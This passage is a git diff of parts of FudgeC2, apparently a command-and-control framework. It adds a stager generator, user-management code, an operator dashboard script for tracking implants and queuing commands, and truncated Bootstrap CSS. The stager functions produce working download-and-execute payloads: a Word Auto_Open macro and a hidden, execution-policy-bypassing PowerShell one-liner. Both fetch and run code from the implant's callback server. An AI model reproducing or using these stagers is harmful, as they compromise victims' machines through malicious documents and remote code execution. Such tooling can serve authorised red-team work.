self.db.implant.Get_AllImplantBaseFromCid(cid) + if implant_info is not False: + for implant in implant_info: + ret_data[implant['title']] = { + "description": implant['description'], + "url": implant['callback_url'], + "powershell_stager": self._generate_powershell_stager_string(implant), + # "https_powershell_stager": self.__generate_https_powershell_stager_string(implant), + "docm_macro_stager": self._generate_docx_stager_string(implant), + "stager_key": implant['stager_key']} + return ret_data + else: + return ret_data + + def GenerateSingleStagerFile(self, cid, user, stager_type): + # TODO: Create docx file download from template. + if self.db.campaign.Verify_UserCanAccessCampaign(user, cid): + + if stager_type == "docx": + return self._generate_docx_stager_file() + return + else: + return False + + @staticmethod + def _generate_docx_stager_string(implant_data): + + if implant_data['comms_https'] == 1: + http_proto = "https" + port = implant_data['comms_https'] + else: + http_proto = "http" + port = implant_data['comms_https'] + stager_string = f'''Sub Auto_Open() +Dim exec As String +exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('{http_proto}://{implant_data['callback_url']}:{port}/robots.txt?user={implant_data['stager_key']}'))""" +Shell (exec) +End Sub +:return:''' + + return stager_string + + @staticmethod + def _generate_powershell_stager_string(implant_data): + if implant_data['comms_https'] == 1: + http_proto = "https" + port = implant_data['comms_https'] + else: + http_proto = "http" + port = implant_data['comms_http'] + + stager_string = f"powershell -windowstyle hidden -exec bypass -c " \ + f"\"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::" \ + f"DefaultNetworkCredentials;(iwr '{http_proto}://{implant_data['callback_url']}:{port}" \ + f"/robots.txt?user={ implant_data['stager_key']}' -UseBasicParsing)|iex\"" + + return stager_string diff --git a/FudgeC2/ServerApp/modules/UserManagement.py b/FudgeC2/ServerApp/modules/UserManagement.py new file mode 100644 index 0000000..40d132a --- /dev/null +++ b/FudgeC2/ServerApp/modules/UserManagement.py @@ -0,0 +1,126 @@ +import random +import string + +from Data.Database import Database + +class UserManagementController: + db = Database() + def add_new_user(self, formdata=None, submitting_user=None): + # -- Refacteror/Clean Add failure checks + # -- Check for the keys in formdata, if none then return an error. + # -- UserName/is_admin + + Result_Dict = { + "action":"Add New User", + "result":None, + "reason":None } + # TODO: Review if minimum lenght usernames should be permitted. + if len(formdata['UserName']) < 3: + Result_Dict['result'] = False + Result_Dict['reason'] = "Username too short" + return Result_Dict + U = self.db.user.Get_UserObject(submitting_user) + if int(U.admin) == 1: + G = self.db.user.Get_UserObject(formdata['UserName']) + admin = False + if 'is_admin' in formdata: + admin = True + if G == None: + N=8 + pw=''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase + string.digits, k=N)) + self.db.user.add_new_user(formdata['UserName'],pw,admin) + Result_Dict['result']=True + Result_Dict['reason']=str(formdata['UserName']+" now created. Password is: "+pw+"
Take note of this, it will not be visable again.") + else: + Result_Dict['result'] = False + Result_Dict['reason'] = "User already exists." + # -- Validate + else: + pass + return Result_Dict + + def AddUserToCampaign(self, submitter, Users, Campaign, Rights=0): + # -- Refactor with Try/Catch validating the Rights values. + ''' + :param submitter: string + :param Users: Request.form (dict) + :param Campaign: int + :param Rights: int + :return: bool + ''' + # Remove Right kawgs. + # Improve variable names + # -- + + current_user_settings = self.db.campaign.get_campaign_user_settings(Campaign) + + if len(Users) < 1: + return False + S = self.db.user.Get_UserObject(submitter) + if S.admin: + for user in Users: + for current_user in current_user_settings: + if user == current_user['user']: + if int(Users[user]) != int(current_user['permissions']): + self.db.campaign.User_SetCampaignAccessRights(user, + current_user['uid'], + Campaign, + Users[user]) + return True + else: + return False + +# -- New methods added in Tauren Herbalist to abstract functionality from the web application. +# -- This improves maintainability between frontend <-> Database changes. + def user_login(self, user, password): + # Returns False or user database object. + return self.db.user.user_login(user, password) + + def get_first_logon_guid(self, user): + return self.db.user.Get_UserFirstLogonGuid(user) + + def get_user_object(self, user): + return self.db.user.Get_UserObject(user) + + def update_active_account_state(self, user, form): + if self.db.user.User_IsUserAdminAccount(user): + target_user = form['user'] + target_state = form['to_state'] + if self.db.user.change_account_active_state(target_user, target_state): + return True + return False + else: + return False + def change_password_first_logon(self, form): + pw_1 = form['password_one'] + pw_2 = form['password_two'] + pw_c = form['current_password'] + guid = form['id'] + if pw_1 == pw_2: + user_object = self.db.user.User_ChangePasswordOnFirstLogon(guid, pw_c, pw_1) + return user_object + else: + return False + + def get_current_campaign_users_settings_list(self, user, cid): + # Returns a list of user dictionaries. Remove the current user so that a user cannot attempt to + # update, or remove their own configurations. + list_of_user_settings = self.db.campaign.get_campaign_user_settings(cid) + for x in list_of_user_settings: + if x['user'] == user: + list_of_user_settings.remove(x) + return list_of_user_settings + + def campaign_get_user_access_right_cid(self, user, cid): + # Return a boolean. + return self.db.campaign.Verify_UserCanAccessCampaign(user, cid) + + def campaign_get_user_campaign_list(self, user): + return self.db.campaign.get_all_user_campaigns(user) + + def campaign_get_all_implant_base_from_cid(self, user, cid): + if self.db.campaign.Verify_UserCanReadCampaign(user, cid) is True: + return self.db.campaign.get_all_campaign_implant_templates_from_cid(cid) + return False + + diff --git a/FudgeC2/ServerApp/static/ImplantController.js b/FudgeC2/ServerApp/static/ImplantController.js new file mode 100644 index 0000000..3cb8032 --- /dev/null +++ b/FudgeC2/ServerApp/static/ImplantController.js @@ -0,0 +1,247 @@ +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + + +function unix_to_human_time(unixtime){ + var utcSeconds = unixtime; + var d = new Date(0); + d.setUTCSeconds(utcSeconds); + var date = new Date(unixtime*1000); + var year = date.getFullYear(); + var month = date.getMonth(); + var day = date.getDate(); + var hours = "0" + date.getHours(); + var minutes = "0" + date.getMinutes(); + var seconds = "0" + date.getSeconds(); + time_last_seen = hours.substr(-2)+":"+minutes.substr(-2)+':'+seconds.substr(-2)+' '+day+'/'+month+'/'+year + return time_last_seen +} + + +// OnClick for implant command submission found on http[s]://// +$(function() { + $('#AnswerBtn').on('click', function (e) { + e.preventDefault(); // disable the default form submit event + var $form = $('#AnswerForm'); + $.ajax({ + url: $form.attr("action"), + type: $form.attr("method"), + data: $form.serialize(), + success: function (response) { + document.getElementById('implantCmd').value=""; + if (response['cmd_reg']['result']===false){alert(response['cmd_reg']['reason'])} + }, + error: function (response) { + alert('ajax failed'); + }, + + }); + }); +}); + + +// This order active implants by their most recent check in time. +function order_response_by_time ( response ){ + var a = 0; + var ordered_list = []; + var change = true; + for ( element in response){ + ordered_list.push(response[element]) + } + while ( change ){ + change = false; + len = ordered_list.length; + for (element in ordered_list){ + y = Number(element)+1; + x = Number(element); + if (y >= len){ + } else if (ordered_list[x].last_checked_in < ordered_list[y].last_checked_in) { + var b = ordered_list[y]; + ordered_list[y] = ordered_list[x]; + ordered_list[x] = b; + change = true; + break; + } + } + } + return ordered_list +} + + +async function get_active_implant_command_queue (cid){ + $.ajax({ + url:`/api/v1/campaign/${cid}/implants/queued`, + type:"GET", + success: function (response) { + document.getElementById('awaiting').innerHTML = "" + for (element in response){ + if (response[element].read_by_implant == 0){ + line="

Implant ID: "+response[element].uik+"
Command: "+response[element].log_entry+"

" + document.getElementById('awaiting').innerHTML = document.getElementById('awaiting').innerHTML + line + } + } + } + }) +} + + +async function get_active_implant_state (cid){ +$.ajax({ + url: `/api/v1/campaign/${cid}/implants/state`, + type:"GET", + success: function (response) { + + var implant_status_text = "" + response = order_response_by_time ( response ) + for (element in response){ + var pageContainer = document.getElementById('ImplantStatusValues') + var utcSeconds = response[element].last_checked_in; + var d = new Date(0); + d.setUTCSeconds(utcSeconds); + var date = new Date(response[element].last_checked_in*1000); + var year = date.getFullYear(); + var month = date.getMonth(); + var day = date.getDate(); + var hours = date.getHours(); + var minutes = "0" + date.getMinutes(); + var seconds = "0" + date.getSeconds(); + time_last_seen = hours+":"+minutes.substr(-2)+':'+seconds.substr(-2)+' '+day+'/'+month+'/'+year + + var CodeColour = "text-primary" + if (response[element].status=='Unresponsive'){ + var CodeColour="text-danger" + } else if (response[element].status=='Delayed') { + var CodeColour="text-warning" + } else if (response[element].status=='Healthy') { + var CodeColour="text-success" + } + // Generate link to implant details page: + title_and_link = 'Title: ' + response[element].title + '' + Entry = "
" + title_and_link + "
Time: " + time_last_seen+"
Status: "+response[element].status+"


" + implant_status_text += Entry; + } + document.getElementById('ImplantStatusValues').innerHTML = "" // Clear current implants before writing updated values. + document.getElementById('ImplantStatusValues').innerHTML = implant_status_text + } + }) +} + + +var contained_list=[]; +var c_state=0 +function get_command_responses(cid){ + $.ajax({ + url:`/api/v1/campaign/${cid}/implants/response`, + type:"GET", + success: function (response) { + // Get list of responses + var pageContainer = document.getElementById('Response'); + for (element in response){ + // Check for the log_id existing, if it doesn't add to list and write to top of page to remove weird loading page + if ( contained_list.includes(response[element].log_id) ) { + } else { + + contained_list.push(response[element].log_id); + // pageContainer = response[element].log_id+ pageContainer; + // alert(pageContainer) + GG = response[element].log_id; + var utcSeconds = response[element].time; + var d = new Date(0); // The 0 there is the key, which sets the date to the epoch + d=unix_to_human_time(response[element].time) + tmp_text = response[element].log_entry + response_data = tmp_text.replace(new RegExp('\r?\n','g'), '
'); + if (c_state === 0){ + bgc = '
' + c_state = 1 + } else { + bgc = '
' + c_state = 0 + } + + GG = bgc+"

Name: "+response[element].title+"
Time: "+d+"
Response:
"+response_data+"

"; + WP = document.getElementById('Response').innerHTML; + document.getElementById('Response').innerHTML = GG + WP; + } + } + + } + }) +} + + +async function implant_page_controller (cid){ + delay = 0 + while (true) + { + // Run each of the checks for new command responses, active implants, and queued commands with a delay between each of $delay + get_active_implant_state(cid) + await sleep(delay) + + get_active_implant_command_queue(cid) + await sleep(delay) + + get_command_responses(cid) + await sleep(delay) + delay = 2000 + } +} + + +function get_overview_page_details(){ + $.ajax({ + url:`/api/v1/campaign`, + type:"GET", + success: function (response) { + for (element in response){ + get_campaign_info_by_id(response, element) + } + } + }) + get_listener_info() +} + + +function get_listener_info(){ + $.ajax({ + url:`/api/v1/listener`, + type:"GET", + success: function (response) { + for (x in response){ + A=response[x]['common_name'] + B = response[x]['port'] + C= response[x]['type'] + D =response[x]['state'] + + E = document.getElementById('t_body_listener').innerHTML; + line = `${A}${B}${C}${D}` + document.getElementById('t_body_listener').innerHTML = E + line; + } + } + }) +} + + +function get_campaign_info_by_id(rrr, cid){ + $.ajax({ + url:`/api/v1/campaign/${cid}/implants/active`, + type:"GET", + success: function (response) { + for (item in response){ + + A = rrr[cid] + A = `${A}` + B = response[item]['generated_title'] + b = response[item]['unique_implant_id'] + B =`${B}` + C = response[item]['last_check_in'] + D = response[item]['callback_url'] + + E = document.getElementById('t_body_implants').innerHTML; + line = `${A}${B}${C}${D}` + document.getElementById('t_body_implants').innerHTML = E + line; + } + return response; + } + }) +} diff --git a/FudgeC2/ServerApp/static/core-style.css b/FudgeC2/ServerApp/static/core-style.css new file mode 100644 index 0000000..fceee25 --- /dev/null +++ b/FudgeC2/ServerApp/static/core-style.css @@ -0,0 +1,26 @@ +body { + background-color: #035371; + padding:0px; +} + +body { + font-family: 'Open Sans', sans-serif; + font-weight: 300; +} + +h1, h2, h3, h4, h5, h6 { + font-family: 'Archivo', sans-serif; + font-weight: 500; +} + +.iplm { + background-color: #f5f3f3; + background-color: #FDFDFD; +} + +/* +Search filters CSS +*/ +.results tr[visible='false'], +.no-result{ display:none; } +.results tr[visible='true']{ display:table-row; } \ No newline at end of file diff --git a/FudgeC2/ServerApp/static/css/bootstrap.min.css b/FudgeC2/ServerApp/static/css/bootstrap.min.css new file mode 100644 index 0000000..8826912 --- /dev/null +++ b/FudgeC2/ServerApp/static/css/bootstrap.min.css @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.3 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 